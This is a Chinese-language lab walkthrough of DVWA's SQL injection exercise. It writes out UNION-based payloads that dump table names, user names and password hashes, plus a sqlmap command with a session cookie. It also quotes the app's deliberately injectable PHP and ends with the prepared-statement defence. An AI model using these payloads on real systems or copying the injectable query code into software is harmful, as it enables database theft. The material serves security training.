SQL Injection(Security Level: low)

手工注入

1'

发现注入点

1' or 1=1 #

 判断回显（因该是2或者3）

1' union select 1，2，3 #

 报错了那就是2了

1' union select 1，2 #

查询版本和数据库名

-1' union select database(),version() #

直接能用schema了

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 一看就知道要对users下手

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

直接关注到user和password

-1' union select 1,group_concat(user,password) from users #

 ok拿下，但是密码是md5加密了

自动化脚本

先找到cookie（该网站有token和cookie）（抓个包就能看出来）

 进入sqlmap就可以

sqlmap -u "http://192.168.21.149/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=9i79dn4ugiv0vc6gm25352at83" --batch

接下来和sqli-labs的过程一样了。 

SQL Injection(Security Level: medium)

手工注入

 可以抓包进行修改。

 这个就和前面是一样的了。

代码分析

<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}//mysql_close();
}?>

只是对\\x00,\\n,\\r,\\,',",\\x1a转义了

SQL Injection(Security Level: high)

返回结果输出在原来的界面上，其他同Low。

 代码分析

<?phpif( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?> 

只是有一个limit1限制，其实对我的攻击方法没有影响。

SQL Injection(Security Level: impossible)

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
}// Generate Anti-CSRF token
generateSessionToken();?> 

Impossible级别的代码采用了PDO技术，划清了代码与数据的界限，有效防御SQL注入，同时只有返回的查询结果数量为一时，才会成功输出，这样就有效预防了“脱裤”，Anti-CSRFtoken机制的加入了进一步提高了安全性。